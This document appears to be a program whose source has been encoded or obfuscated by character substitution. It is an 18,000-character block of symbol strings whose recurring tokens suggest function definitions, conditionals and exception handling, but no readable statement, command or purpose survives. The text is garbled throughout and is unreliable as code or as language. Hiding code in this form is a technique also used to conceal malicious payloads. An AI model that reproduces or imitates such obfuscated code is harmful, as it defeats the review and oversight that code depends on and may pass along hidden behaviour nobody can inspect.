G\EE#@O		FG\JGKOD 	R#YEA^CJENGPQ			G\EE#	T#		@O	YEA^CJENGPQ						G\EE 				[L]\[G		YEA^CJENGPQ##			^\QYANGZLv					OHEZL#		]JY]]OvF\K]]NA						i@N[KMFGKOJZ [ZKLSD_  GBDDYvY@PXyayv`g}vdhqyayv`g}vdhq[XEDQ_NGXZGBDDYvY@PX#						@O					]JY]]OvF\K]]NA					]JY]]OvF\K]]NA					 						]JY]]OvF\K]]NA					  		^\QYANGZLv				iSPDBZLLFM] [ZKLSD_  #@O	@N[KMFGKOJZ ^\QYANGZLv 					KKAEPBMEYMGE ^\QYANGZLv 									  	^\QYANGZLv						C^v@Z@\@ACBCL^\QYANGZLv ###			@O	@N[KMFGKOJZ ^\QYANGZLv 				@N[KMFGKOJZ ^\QYANGZLv 		 					@^v_XSYHPXKSN ^\QYANGZLv 			 			K[N[JPDKAX]LS^\QYANGZLv 							_SMG[M@XJvKJSK\^\QYANGZLv  		R#		YEA^CJENGPQ			^\QYANGZLv#			[L]\[G		YEA^CJENGPQ#T#			JNKLC^[HF			AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 			 #			@O						@^v_XSYHPXKSN JNKLC^[HF 					@^v_XSYHPXKSN JNKLC^[HF 			 							SPDBZLLFM] JNKLC^[HF 				 		K[N[JPDKAX]LSJNKLC^[HF 				_SMG[M@XJvKJSK\JNKLC^[HF  				R#					YEA^CJENGPQ							JNKLC^[HF#			[L]\[G	YEA^CJENGPQ#	T#			YEA^CJENGPQ					OHEZL#							[L]\[G					YEA^CJENGPQ#		T#O\GJ]@FG	Q]H[ENCXS]X^Z@]FG\JGKOD			OHEZL #				R#Z]H]@J	J_@[BEONv_						G\EE#						##@O		FG\JGKOD 			R#	~y	kEFJB	hy`	_	ZL]]@GNZ	ZLJ]@FG##	J_@[BEONv_								G\EE#	T#	~y	mH]H	dFM\EL	ZL[@HE@SHKEL	M@ZYH]JAL[##@O		J_@[BEONv_					G\EE 	[L]\[G	J_@[BEONv_#				^\QYANGZLv							LSQQPGQ_@[D^ #	@O	@^v_XSYHPXKSN ^\QYANGZLv 	UU	KKAEPBMEYMGE ^\QYANGZLv 					 					UU		SPDBZLLFM] ^\QYANGZLv 		 			UU		K[N[JPDKAX]LS^\QYANGZLv 	UU				_SMG[M@XJvKJSK\^\QYANGZLv  				R#J_@[BEONv_					OHEZL#			[L]\[G		J_@[BEONv_#					T#	J_@[BEONv_		@N[KMFGKOJZ \vQGYOGYCKO_J@Pv^\QYANGZLv  #				[L]\[G		J_@[BEONv_#T#			O\GJ]@FG		NB^OAPLQ@HLZQAQDFGS_^NXD[ #		R#						@O			@N[KMFGKOJZ QAQDFGS_^NXD[ 		UU		@^v_XSYHPXKSN QAQDFGS_^NXD[ 			w 		UU		KKAEPBMEYMGE QAQDFGS_^NXD[					 				uQOuQK 	[L]\[G		###^Z]ZJEDF		i@^v_XSYHPXKSN 	KKAEPBMEYMGE QAQDFGS_^NXD[	QQ   ##^Z]ZJEDF						KKAEPBMEYMGE ^Z]ZJEDF 				^Z]ZJEDFrt					#					@O	^Z]ZJEDF				 			UU		^Z]ZJEDF				  	[L]\[G	^Z]ZJEDF#[L]\[G	#		T#						O\GJ]@FG			A]BDSX^NDO^vBSM_CZDGOY ##			R#			[L]\[G			@N[KMFGKOJZ ALQMLJ_CZDGOYrt  #T#	O\GJ]@FG	]ODXFFOB\PHLBFG^@DZNOYA #			R#@O	@^v_XSYHPXKSN @DZNOYA 					UU	@DZNOYA				 			[L]\[G			@DZNOYAPYAHOYBHLM[BBSL[MH[PYAHOYBHL#							Z]H]@J				O_O@C_PQEPZ			G\EE#					@O			O_O@C_PQEPZ			G\EE 		R#			O_O@C_PQEPZ						OHEZL#				@O			SPDBZLLFM] SPDBZLLFM]   			R####	vMM							MLO@GLMSPDBZLLFM]  								~yvjfg}lg}vm`{		MLO@GLMSPDBZLLFM]  							hkzyh}a							 #			@O	vMM				 	R###	GPZFvZ		iM@ZBvO[LLvZYHJLvMM #			@O					GPZFvZ						OHEZL					GPZFvZ					  						O_O@C_PQEPZ					][\L#T#			T#				@O	O_O@C_PQEPZ 					R#@O			SPDBZLLFM] SPDBZLLFM]   		i\YMH]LvFY]@FGSPDBZLLFM] 		@N[KMFGKOJZ  	@^v_XSYHPXKSN  H][@K\QNQQL ANGDF@A[CPOSH][@K\QN#T			LEZL@O				KKAEPBMEYMGE SPDBZLLFM]   	R#	A\DNDE]J^AD				@G] 				NL]vFY]@FGKKAEPBMEYMGE 	 ###	@O		A\DNDE]J^AD		@N[KMFGKOJZ  					A\DNDE]J^AD			  					O_O@C_PQEPZ				OHEZL#		T#							T#						@O				O_O@C_PQEPZ 		R#[L]\[G				@DZNOYA#	~y	lG]@]P	{LJF[MZ	Z@MLKH[	[LN@FG##							T#@ZN[XKKQY								 					SPDBZLLFM] 		  #@O			KKAEPBMEYMGE @DZNOYA 					@ZN[XKKQY 	[L]\[G			@DZNOYA#	@O	@^v_XSYHPXKSN @N[KMFGKOJZ @DZNOYA 	 			KKAEPBMEYMGE  					[L]\[G		@DZNOYA####		^A@EL			@^v_XSYHPXKSN @DZNOYA 						@ZN[XKKQY							  				R#	YCOFJFCO\				#				@O	@N[KMFGKOJZ @^v_XSYHPXKSN   			R#	][P	R#				YCOFJFCO\					i@^v_XSYHPXKSN [HGMFDvKP]LZ   #							T		JH]JA						}A[F^HKEL			E]GYK]v 			R##				YCOFJFCO\				#				T			JH]JA	lQJLY]@FG	E]GYK]v 						R#					YCOFJFCO\					#					T#								T#@O			@^v_XSYHPXKSN YCOFJFCO\ 				  					R#				YCOFJFCO\					@^v_XSYHPXKSN \G@X@M		][\L  #	^A@EL			SPDBZLLFM] YCOFJFCO\ 			  				YCOFJFCO\						@^v_XSYHPXKSN YCOFJFCO\ #						T#						@DZNOYA				uG					YCOFJFCO\					SPDBZLLFM] #T#				[L]\[G		@DZNOYA#			T##			O\GJ]@FG		C^v@Z@\@ACBCL@DZNOYA #		R##			@O	@N[KMFGKOJZ @DZNOYA 	UU	@^v_XSYHPXKSN @DZNOYA 											  		[L]\[G			@DZNOYA^E@SESGJHHNLXX^E@SESGJ#					DCD[LZ@BKN\_					SPDBZLLFM] KKAEPBMEYMGE 					@DZNOYA #	[L]\[G					@^v_XSYHPXKSN DCD[LZ@BKN\_ 					DCD[LZ@BKN\_			@DZNOYAPQBYCCOX]SZJQLPQBYCCOX] PQBYCCOX]PQBYCCOX]#T#O\GJ]@FG						EHOBPA]OAvHGEQBCJL #R#	DH][@Q	][HGZYFZL##	@O		@^v_XSYHPXKSN KKAEPBMEYMGE  	UU			KKAEPBMEYMGE @N[KMFGKOJZ   					[L]\[G#				@O					@^v_XSYHPXKSN GEQBCJL 				UU		GEQBCJL																UU		iSPDBZLLFM] GEQBCJL  		[L]\[G#	JH\ZHE	Z@GNEL]FG##		@O		@ZZL]nefkhezrKKAEPBMEYMGE t 	UU					KKAEPBMEYMGE nefkhezr@N[KMFGKOJZ t  	R#		nefkhezr@^v_XSYHPXKSN t								NL]vFY]@FG@N[KMFGKOJZ 		H[[HP  ###		@O			KKAEPBMEYMGE nefkhezrSPDBZLLFM] t  		nefkhezr@^v_XSYHPXKSN t								H[[HP #		T#					_CZDGOY				nefkhezrKKAEPBMEYMGE t#@DZNOYA						iKKAEPBMEYMGE GEQBCJL ###@O				KKAEPBMEYMGE @DZNOYA  	[L]\[G####		@O				SPDBZLLFM] @DZNOYA 									QJHOHQH  			@DZNOYA				C^v@Z@\@ACBCL@DZNOYA ##_CZDGOYr@^v_XSYHPXKSN GEQBCJL t				H[[HPY						GEQBCJL		A							SPDBZLLFM] @DZNOYA 			N					^NKBHS]S^NFHGH^O] 		]			SPDBZLLFM]   #							@O				SPDBZLLFM] _CZDGOY 									  		R###OF[LHJA			_CZDGOY				HZ	L\vO][CK		_BvQP[N^E 		R###						@O	@^v_XSYHPXKSN _BvQP[N^E 	UU					@ZZL]_BvQP[N^Er]t 		UU		@G] 		_BvQP[N^Er]t			SPDBZLLFM]  						  			\GZL]_CZDGOYrL\vO][CKt ####			T#								^A@EL	SPDBZLLFM] _CZDGOY 						  			R#OP^LXX[HZOXQ						G\EE#		ACSZKSJL\[F					G\EE#		OF[LHJA	_CZDGOY		HZ				L\vO][CK										_BvQP[N^E 		R#		DKFOOLJX_QCM						SPDBZLLFM] _BvQP[N^E 			@ZZL]_BvQP[N^Er]t 				@G] 		_BvQP[N^Er]t					#@O					ACSZKSJL\[F					G\EE			UU				DKFOOLJX_QCM								ACSZKSJL\[F 	R#		ACSZKSJL\[F			DKFOOLJX_QCM#		OP^LXX[HZOXQ					L\vO][CK#				T#		T#			@O			OP^LXX[HZOXQ						G\EE 				K[LHB#						\GZL]_CZDGOYrOP^LXX[HZOXQt ##	T####	T#			\YMH]LvFY]@FG@^v_XSYHPXKSN 		_CZDGOY	KKAEPBMEYMGE  #		nefkhezr@N[KMFGKOJZ t			_CZDGOY#	T#	O\GJ]@FG			\ZNQXBNHJLN[YPCN@NEGEQBCJL #	R#			@O	@N[KMFGKOJZ GEQBCJL 	UU		GEQBCJL					 		[L]\[G					OHEZL#		@O	@ZZL]nefkhezr@^v_XSYHPXKSN t 					UU		KKAEPBMEYMGE nefkhezrKKAEPBMEYMGE t  			R####				nefkhezr@N[KMFGKOJZ t							@^v_XSYHPXKSN SPDBZLLFM]  					NL]vFY]@FGKKAEPBMEYMGE 		H[[HP  			H[[HP #					@O				@^v_XSYHPXKSN nefkhezrSPDBZLLFM] t  				nefkhezr@N[KMFGKOJZ t		H[[HP #T#	yj{l	c`}	ZYLJ@HE@SL	[LYE@JH]F[###		_CZDGOY											nefkhezrKKAEPBMEYMGE t#					X]HQKXGG\GX					@N[KMFGKOJZ GEQBCJL #	@O		@ZZL]_CZDGOYrX]HQKXGG\GXt 							@^v_XSYHPXKSN _CZDGOYrX]HQKXGG\GXt 					@ZZL]_CZDGOYrX]HQKXGG\GXtrAt  	R#							@O	@G] 	iSPDBZLLFM] GEQBCJL 			  			[L]\[G			SPDBZLLFM] #@DZNOYA							i@N[KMFGKOJZ GEQBCJL #			@O					@N[KMFGKOJZ @DZNOYA  	R#	@O						@^v_XSYHPXKSN @DZNOYA 				QOLQK  					@DZNOYA						C^v@Z@\@ACBCL@DZNOYA #		[L]\[G	KKAEPBMEYMGE @DZNOYA 		_CZDGOYrX]HQKXGG\GXtrAt 			][\L					@N[KMFGKOJZ #			T#						[L]\[G		OHEZL###		T##								M_O^O_\[							i@N[KMFGKOJZ GEQBCJL			OHEZL		G\EE							  #@O		###@^v_XSYHPXKSN M_O^O_\[ 						@^v_XSYHPXKSN KKAEPBMEYMGE 	M_O^O_\[ #				QL@vJL^E^ZMBO_GEQBCJL			  #						 		R#@O	@G] 	i@N[KMFGKOJZ GEQBCJL 						  	[L]\[G		OHEZL####@DZNOYA			Z][@GN 	i@^v_XSYHPXKSN GEQBCJL #			@O		@^v_XSYHPXKSN @DZNOYA 												  						@DZNOYA				C^v@Z@\@ACBCL@DZNOYA #@O	_SMG[M@XJvKJSK\@DZNOYA  				[L]\[G	SPDBZLLFM] #		T#				[L]\[G	OHEZL###T#		O\GJ]@FG		_NHMXKGGJHF\P #R#Z]H]@J	_CZDGOY				G\EE#		@O				_CZDGOY					G\EE 		[L]\[G	_CZDGOY##				@DZNOYA								Z][@GN 		iKKAEPBMEYMGE [ZKLSD_  #						@O				@^v_XSYHPXKSN @DZNOYA 								  			@DZNOYA					C^v@Z@\@ACBCL@DZNOYA #	_CZDGOY										KKAEPBMEYMGE @DZNOYA ##	[L]\[G		_CZDGOY#T#O\GJ]@FG	D@]YD^]NEP\Ev@[GP ##					R###[L]\[G	@N[KMFGKOJZ _NHMXKGGJHF\P 					  #T#				O\GJ]@FG			JLBMDQLAMB\ ###							R#					[L]\[G				^D]]OFPX_KGKN@ 		KKAEPBMEYMGE 						FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 	  				@^v_XSYHPXKSN #		T#	O\GJ]@FG		]EQJZAHNQK^ #			R#			FCHvNOYOCOS]			H[[HP #	@O	KKAEPBMEYMGE @^v_XSYHPXKSN   	R#	[LJ\[Z@_L	OHJ]F[P##DH\@KDSP[v						iNL]vFY]@FGSPDBZLLFM] 		H[[HP  #		@O		KKAEPBMEYMGE DH\@KDSP[v  		FCHvNOYOCOS]						DH\@KDSP[v#	~y	zYHJL[	kEFJB	YH]JA	]PYLLG_@[FGDLG]##		T#		@DZNOYA					iKKAEPBMEYMGE JLBMDQLAMB\  						i@^v_XSYHPXKSN JLBMDQLAMB\  								#				@O						KKAEPBMEYMGE @DZNOYA 							SPDBZLLFM] @DZNOYA		KKAEPBMEYMGE  					 				R#		]CvLEQ@v		@^v_XSYHPXKSN @N[KMFGKOJZ @DZNOYA			w  		][\L #	@O			@N[KMFGKOJZ ]CvLEQ@v 		LDY]PFCHvNOYOCOS]rSPDBZLLFM] t 			UU	LDY]P]CvLEQ@vr@N[KMFGKOJZ t 				]CvLEQ@vrKKAEPBMEYMGE t									FCHvNOYOCOS]rSPDBZLLFM] t   					FCHvNOYOCOS]				]CvLEQ@v#			T#		[L]\[G		FCHvNOYOCOS]#								T#		O\GJ]@FG		GY_[H^KNPNHEFGQKJX_^_ #						R#	JFG_LQ	][@L	##		][P			R#							@O				MLO@GLM@^v_XSYHPXKSN   				[L]\[G#		KXM_X^QZCF\LE						@N[KMFGKOJZ  #				@O			FGQKJX_^_				KKAEPBMEYMGE 		UU		FGQKJX_^_			KKAEPBMEYMGE  		R#Y[L_					]EQJZAHNQK^ #@O		#	@ZZL]Y[L_r@N[KMFGKOJZ t		Y[L_r@N[KMFGKOJZ t 			Y[L_r@N[KMFGKOJZ t						FGQKJX_^_####							KXM_X^QZCF\LE							@G] 		Y[L_r@N[KMFGKOJZ t						FGQKJX_^_					SPDBZLLFM] 				 						  ###	 					[L]\[G#	T#	ZLZX\@E@GLH[	Z][H]LNP##			FCHvNOYOCOS]				H[[HP##						_				^NKBHS]S^NFHGH^O] #				KKAEPBMEYMGE 							D@]YD^]NEP\Ev@[GP #	SPDBZLLFM] 				[ZKLSD_ ###SPDBZLLFM] 				KKAEPBMEYMGE [ZKLSD_ 					@^v_XSYHPXKSN  ##	@N[KMFGKOJZ 						FGQKJX_^_#		SPDBZLLFM] 						KXM_X^QZCF\LE#		@N[KMFGKOJZ 			KXM_X^QZCF\LE#@^v_XSYHPXKSN 				@ZZL]vzl{l{rKKAEPBMEYMGE t 			@G] 					vzl{l{r@N[KMFGKOJZ t					KXM_X^QZCF\LE# ###				@O		@^v_XSYHPXKSN @^v_XSYHPXKSN   				i\YMH]LvFY]@FG@^v_XSYHPXKSN 		FCHvNOYOCOS]					@N[KMFGKOJZ  #	[YBEB\JZ			^D]]OFPX_KGKN@ #	@O		iSPDBZLLFM] [YBEB\JZ 				UU			vGQBQZEPNCOHHM[YBEB\JZ			 			][\L  	R#i@N[KMFGKOJZ JLBMDQLAMB\ 			SPDBZLLFM] 				@^v_XSYHPXKSN FCHvNOYOCOS]  #							T#	T				JH]JA						}A[F^HKEL			E]GYK]v 	R#T					JH]JA		lQJLY]@FG				E]GYK]v 				R#		T#	T####	O\GJ]@FG					J\YJJLJH_G\OQFCHvNOYOCOS] #						R#						@O	@N[KMFGKOJZ FCHvNOYOCOS] 				UU		LDY]PFCHvNOYOCOS]r@N[KMFGKOJZ t 	UU	@N[KMFGKOJZ FCHvNOYOCOS]rKKAEPBMEYMGE t  		[L]\[G				@N[KMFGKOJZ #				OEKOHSDG@[F			FCHvNOYOCOS]rKKAEPBMEYMGE t#								@O					iKKAEPBMEYMGE OEKOHSDG@[F 		UU		@G] 	iKKAEPBMEYMGE OEKOHSDG@[F 			  		[L]\[G			@^v_XSYHPXKSN #@O		_CGDX^NXFO[GOEKOHSDG@[F  		[L]\[G			@N[KMFGKOJZ #			LvEON_]Hv\					@ZZL]FCHvNOYOCOS]rKKAEPBMEYMGE t 				FCHvNOYOCOS]r@N[KMFGKOJZ t									#			ZFG@XPvLZDC_							@ZZL]FCHvNOYOCOS]rKKAEPBMEYMGE t 						@G] 			FCHvNOYOCOS]r@^v_XSYHPXKSN t			###			@O	LvEON_]Hv\				@^v_XSYHPXKSN  					[L]\[G			ZFG@XPvLZDC_								SPDBZLLFM]  						ZFG@XPvLZDC_				  						KKAEPBMEYMGE 				@N[KMFGKOJZ #	@O		LvEON_]Hv\					@N[KMFGKOJZ  		[L]\[G	@N[KMFGKOJZ #	@O		LvEON_]Hv\						KKAEPBMEYMGE  		[L]\[G	ZFG@XPvLZDC_													SPDBZLLFM]  							ZFG@XPvLZDC_				QQ  				@N[KMFGKOJZ 							SPDBZLLFM] ###		[L]\[G				KKAEPBMEYMGE #					T#		O\GJ]@FG		G_JS\F^JAQ[GEQBCJL #		R#@O		iSPDBZLLFM] GEQBCJL  			[L]\[G					OHEZL##		AADEEDPN]]LF						@G] 		i@^v_XSYHPXKSN GEQBCJL #						@O	AADEEDPN]]LF							QQJ 		UU			AADEEDPN]]LF						  				[L]\[G						OHEZL##					M_O^O_\[			iKKAEPBMEYMGE GEQBCJL		OHEZL			G\EE					  #@O			SPDBZLLFM] M_O^O_\[ 					UU		KKAEPBMEYMGE @N[KMFGKOJZ 	M_O^O_\[  			[L]\[G			OHEZL#				@O	AADEEDPN]]LF				  	R#				@ZN[XKKQY						iKKAEPBMEYMGE GEQBCJL			OHEZL		G\EE		AADEEDPN]]LF					  #[L]\[G	KKAEPBMEYMGE @ZN[XKKQY 		KKAEPBMEYMGE @^v_XSYHPXKSN 					@ZN[XKKQY 					####T###			@DZNOYA								i@^v_XSYHPXKSN GEQBCJL #			@O		@N[KMFGKOJZ @DZNOYA  			[L]\[G		OHEZL#			[L]\[G		_SMG[M@XJvKJSK\@DZNOYA #	T#	O\GJ]@FG				_CGDX^NXFO[GGEQBCJL #	R#				M_XXHYC^C_SP					@^v_XSYHPXKSN GEQBCJL		@^v_XSYHPXKSN  #OF[LHJA		H[[HPKKAEPBMEYMGE GEQBCJL 	\vJHFGLF__PBZFA]G  		HZ	L[GLAFES 		R#				KCQHOv@[HHO					L[GLAFES					SPDBZLLFM] 			M_XXHYC^C_SP#			@O		i@^v_XSYHPXKSN KCQHOv@[HHO 	UU		@G] 		iKKAEPBMEYMGE KCQHOv@[HHO 			KKAEPBMEYMGE  					  	JFG]@G\L##	HOENOPA			SPDBZLLFM] Z][@GN 		iKKAEPBMEYMGE KCQHOv@[HHO  ###	@O			HOENOPA					 				JFG]@G\L###		@DZNOYA					Z][@GN 		i@N[KMFGKOJZ GEQBCJL #	@O		@N[KMFGKOJZ @DZNOYA 								  			@DZNOYA					C^v@Z@\@ACBCL@DZNOYA ###	@O		@DZNOYA												SPDBZLLFM] @DZNOYA 								HOENOPA 	[L]\[G			][\L#	T#	[L]\[G					OHEZL#T#O\GJ]@FG	[^DQ@[Z@vA_KGM@QGEQBCJL #		R#					@O			@^v_XSYHPXKSN KKAEPBMEYMGE  				UU			KKAEPBMEYMGE KKAEPBMEYMGE   					[L]\[G#				SFP[^DPQ]							iNL]vFY]@FG@^v_XSYHPXKSN 	H[[HP  #		@O			SPDBZLLFM] SFP[^DPQ]  		SFP[^DPQ]			H[[HP #	SFP[^DPQ]rKKAEPBMEYMGE GEQBCJL t					GEQBCJL#@O	@^v_XSYHPXKSN SFP[^DPQ] 				  		SFP[^DPQ]						@N[KMFGKOJZ SFP[^DPQ]				QLQ 		G\EE	][\L #		i\YMH]LvFY]@FG@N[KMFGKOJZ 	SFP[^DPQ]			@^v_XSYHPXKSN  #			T####						O\GJ]@FG				XCLJ_JSGKOP_K #R#		@O		@^v_XSYHPXKSN KKAEPBMEYMGE  					UU			@N[KMFGKOJZ @N[KMFGKOJZ   						[L]\[G#							SFP[^DPQ]			iNL]vFY]@FGKKAEPBMEYMGE 	H[[HP  #			@O		KKAEPBMEYMGE SFP[^DPQ] 		UU	LDY]PSFP[^DPQ]  	[L]\[G#		QH_FNPN			H[[HP ####	OF[LHJA	SFP[^DPQ]			HZ	L\vO][CK							OEKOHSDG@[F 					R#	@O				SPDBZLLFM] OEKOHSDG@[F 						UU			OEKOHSDG@[F								UU		iKKAEPBMEYMGE OEKOHSDG@[F  					JFG]@G\L#			@O					\ZNQXBNHJLN[YPCN@NEOEKOHSDG@[F 						OHEZL 	R		QH_FNPNrL\vO][CKt					OEKOHSDG@[F	JFG]@G\L	T##		XX]L[vEYC^\OZSZ_@JLOEKOHSDG@[F			  #@O		@PE[Z\[XJ_PLXGOEKOHSDG@[F  		R@CDZO_XN_MX[OGCHM@CDZO_XN_M#			@O	SPDBZLLFM] @^v_XSYHPXKSN   			iFYJHJALv@G_HE@MH]LOEKOHSDG@[F		][\L #			T		LEZL@O	i@N[KMFGKOJZ OEKOHSDG@[F  			R#		QH_FNPNrL\vO][CKt				OEKOHSDG@[F#				T#					T#				i\YMH]LvFY]@FG@^v_XSYHPXKSN 						QH_FNPN				@N[KMFGKOJZ  #							T#	O\GJ]@FG		H_M@]BEFDNJZvEGNO #						R#	][P	R####E]GYK]v					@N[KMFGKOJZ @N[KMFGKOJZ  				iL[[F[vNL]vEHZ] 					G\EE#					@O	#	KKAEPBMEYMGE E]GYK]v 					LDY]PE]GYK]vrSPDBZLLFM] t 			LDY]PE]GYK]vr@^v_XSYHPXKSN t #		KKAEPBMEYMGE E]GYK]vrSPDBZLLFM] t	H[[HPlvl{{f{		lvyh{zl		lvjf{lvl{{f{						lvjfdy`elvl{{f{						lv|zl{vl{{f{ 		][\L #	 					R#	SCLOCSZK_LE@					i@^v_XSYHPXKSN [ZKLSD_  #				####							vLO						i@N[KMFGKOJZ E]GYK]vrKKAEPBMEYMGE t ####						@O		KKAEPBMEYMGE SCLOCSZK_LE@ 				SPDBZLLFM] vLO 					vLO		SCLOCSZK_LE@ 		[L]\[G#		T#			GY_[H^KNPNHESPDBZLLFM]  #@O	MLO@GLMSPDBZLLFM]   	R#	D@F]YGZY								E@^NYDZ^vLY #	##	@O	i@N[KMFGKOJZ D@F]YGZYrt  					R#		^HGGDMK						iKKAEPBMEYMGE D@F]YGZYrt		OHEZL					G\EE			w  ##		@O	SPDBZLLFM] ^HGGDMK 		@^v_XSYHPXKSN ^HGGDMK		KKAEPBMEYMGE 				^NKBHS]S^NFHGH^O] 				 							 		R###\FDO]SACF					i@N[KMFGKOJZ D@F]YGZYrt				SPDBZLLFM]  											i@^v_XSYHPXKSN D@F]YGZYrt		SPDBZLLFM] 			OHEZL					G\EE			  						#@O	\FDO]SACF				^HGGDMK 					iKKAEPBMEYMGE D@F]YGZYrt			D@F]YGZYrt						@N[KMFGKOJZ  #		T#		T#	\GZL]D@F]YGZY		^HGGDMK		\FDO]SACF #								T#			T					JH]JA		}A[F^HKEL	CKH_M_GGYXKB 			R#							T					JH]JA	lQJLY]@FG	CKH_M_GGYXKB 	R#T#T#	O\GJ]@FG		S^]LG\QHEAJMYPS]_]YAEMZK #				R####@O	@N[KMFGKOJZ ]_]YAEMZK  			[L]\[G				#	@O	KKAEPBMEYMGE KKAEPBMEYMGE 	]_]YAEMZK		_^PKPMKYB@N  		R#				OF[LHJA		_^PKPMKYB@Nrt					HZ		SKY]YQ\@K 			R#	@O	NB^OAPLQ@HLZ@N[KMFGKOJZ SKY]YQ\@K				][\L   						[L]\[G	#						T#			T####@O		KKAEPBMEYMGE SPDBZLLFM] 	]_]YAEMZK				_^PKPMKYB@N  				R#					OF[LHJA	_^PKPMKYB@Nrt		HZ					SKY]YQ\@K 	R#				@O	NB^OAPLQ@HLZZ][@YJZEHZALZSKY]YQ\@K   			[L]\[G				#	@O		@^v_XSYHPXKSN SKY]YQ\@K			@N[KMFGKOJZ  			OHEZL 	RFE]^@E\PHyayvdhcf{vl{z`fgPPAPDK\KB\FE]^@E\PH#				EHMQPZCLZMv					Y[LNv[LYEHJLvJHEEKHJB@^v_XSYHPXKSN 	@^v_XSYHPXKSN 				SKY]YQ\@K #@O						SPDBZLLFM] EHMQPZCLZMv 		EHMQPZCLZMv					SKY]YQ\@K				NB^OAPLQ@HLZEHMQPZCLZMv  		[L]\[G			#		T#						T#	T#		@O	@N[KMFGKOJZ @N[KMFGKOJZ 		]_]YAEMZK		_^PKPMKYB@N  			R###OF[LHJA					_^PKPMKYB@Nrt		HZ			SKY]YQ\@K 	R###	@O	NB^OAPLQ@HLZ@^v_XSYHPXKSN H[[HP@^v_XSYHPXKSN 		@N[KMFGKOJZ  		H[[HPuu	u 		SKY]YQ\@K   		[L]\[G	####	@O		SPDBZLLFM] SKY]YQ\@K		KKAEPBMEYMGE  			OHEZL 			R#EHMQPZCLZMv								Y[LNv[LYEHJLvJHEEKHJBKKAEPBMEYMGE 			KKAEPBMEYMGE 	SKY]YQ\@K #			@O			@N[KMFGKOJZ EHMQPZCLZMv 				EHMQPZCLZMv							SKY]YQ\@K								NB^OAPLQ@HLZEHMQPZCLZMv  				[L]\[G						####						T#			T#	T#[L]\[G		]_]YAEMZK#T#O\GJ]@FG		^K[DE^CJM[X_Q^\QYANGZLv #				R#		@O		@N[KMFGKOJZ ^\QYANGZLv 	UU		@N[KMFGKOJZ ^\QYANGZLv			KKAEPBMEYMGE  							OHEZL							@N[KMFGKOJZ ^\QYANGZLv			SPDBZLLFM]  				OHEZL  	[L]\[G						OHEZL####			@O		@N[KMFGKOJZ KKAEPBMEYMGE 	^\QYANGZLv	_^PKPMKYB@N  	R###OF[LHJA			_^PKPMKYB@Nrt				HZ				SKY]YQ\@K 			R#			@O	NB^OAPLQ@HLZSPDBZLLFM] SKY]YQ\@K				][\L   	[L]\[G		][\L#		T#	T#@O		@^v_XSYHPXKSN @N[KMFGKOJZ 		^\QYANGZLv				_^PKPMKYB@N  				R##	OF[LHJA					_^PKPMKYB@Nrt			HZ		SKY]YQ\@K 				R#		@O				NB^OAPLQ@HLZZ][@YJZEHZALZSKY]YQ\@K   	[L]\[G				][\L#T#	i]@DLF\]	OEP^L@NA]##	OF[LHJA		_^PKPMKYB@Nrt		HZ	SKY]YQ\@K 	R####				@O			SPDBZLLFM] SKY]YQ\@K	KKAEPBMEYMGE  					OHEZL 			JFG]@G\L###EHMQPZCLZMv					Y[LNv[LYEHJLvJHEEKHJB@^v_XSYHPXKSN 		SPDBZLLFM] 						SKY]YQ\@K #				@O			KKAEPBMEYMGE EHMQPZCLZMv 				EHMQPZCLZMv					SKY]YQ\@K				NB^OAPLQ@HLZEHMQPZCLZMv  		[L]\[G	][\L#	T#		T#					@O	SPDBZLLFM] SPDBZLLFM] 					^\QYANGZLv					_^PKPMKYB@N  					R###						OF[LHJA	_^PKPMKYB@Nrt				HZ		SKY]YQ\@K 	R##	@O	NB^OAPLQ@HLZKKAEPBMEYMGE H[[HP@N[KMFGKOJZ 			KKAEPBMEYMGE  		H[[HPuu	u 			SKY]YQ\@K   				[L]\[G		][\L###		T#				OF[LHJA					_^PKPMKYB@Nrt			HZ					SKY]YQ\@K 	R#	@O			SPDBZLLFM] SKY]YQ\@K		KKAEPBMEYMGE  				OHEZL 		JFG]@G\L#	EHMQPZCLZMv		Y[LNv[LYEHJLvJHEEKHJBSPDBZLLFM] 	SPDBZLLFM] 	SKY]YQ\@K #@O			@^v_XSYHPXKSN EHMQPZCLZMv 								EHMQPZCLZMv										SKY]YQ\@K				NB^OAPLQ@HLZEHMQPZCLZMv  				[L]\[G			][\L##T#T#					[L]\[G				OHEZL###			T#	O\GJ]@FG		[FB]XFO_^S^\QYANGZLv #			RBKPCS@UK[DO_^vKFBKPCS@w####						@O			@^v_XSYHPXKSN ^\QYANGZLv 		UU	^\QYANGZLv							 	[L]\[G	#			[L]\[G	@N[KMFGKOJZ @N[KMFGKOJZ 		SPDBZLLFM] ^\QYANGZLv				  				_CZDGOY  			_CZDGOYrt					#T#	O\GJ]@FG	@M\[^SLG]QQBQQ@DZNOYA			B[DP^QLPDv[FCQ	_EZOAMvCSX			G\EE #RCJA[AC@EHMHZ\^KCCJA[AC@ CJA[AC@CJA[AC@#					@O			@^v_XSYHPXKSN @DZNOYA 		UU	@DZNOYA							 		[L]\[G		@DZNOYA#	HNCCSHGZ^A_DFE							KKAEPBMEYMGE 			B[DP^QLPDv[FCQ								@N[KMFGKOJZ #	[@SJ_CSFAXGMQvQ		#			BOAACvEYOKN				#				^A@EL			BOAACvEYOKN										  					R#							[MHEJFO							@^v_XSYHPXKSN @DZNOYA	HNCCSHGZ^A_DFE #@O	[MHEJFO				OHEZL 			K[LHB#		^Z]ZJEDF				[MHEJFO							KKAEPBMEYMGE HNCCSHGZ^A_DFE #		JMNZMHG^M]			KKAEPBMEYMGE @DZNOYA		@N[KMFGKOJZ 		^Z]ZJEDF #				@O			JMNZMHG^M]				OHEZL			UU					JMNZMHG^M]							^Z]ZJEDF					w  		R#					[@SJ_CSFAXGMQvQ					KKAEPBMEYMGE @DZNOYA					^Z]ZJEDF ##				@DZNOYA							@^v_XSYHPXKSN @DZNOYA		^Z]ZJEDF #JFG]@G\L#							T#					O_H@GEPZC						@N[KMFGKOJZ @DZNOYA			^Z]ZJEDF		JMNZMHG^M]			^Z]ZJEDF #	##				@O				@^v_XSYHPXKSN KKAEPBMEYMGE 	O_H@GEPZC  			R#			[@SJ_CSFAXGMQvQ				@^v_XSYHPXKSN @DZNOYA					^Z]ZJEDF #	@DZNOYA							KKAEPBMEYMGE @DZNOYA			^Z]ZJEDF #JFG]@G\L#				T#L@N@XZX								@^v_XSYHPXKSN 			B[DP^QLPDv[FCQ				@^v_XSYHPXKSN 			O_H@GEPZC				@N[KMFGKOJZ #			POBDJLP@SM^J						@N[KMFGKOJZ @DZNOYA		L@N@XZX			JMNZMHG^M] #			@O	POBDJLP@SM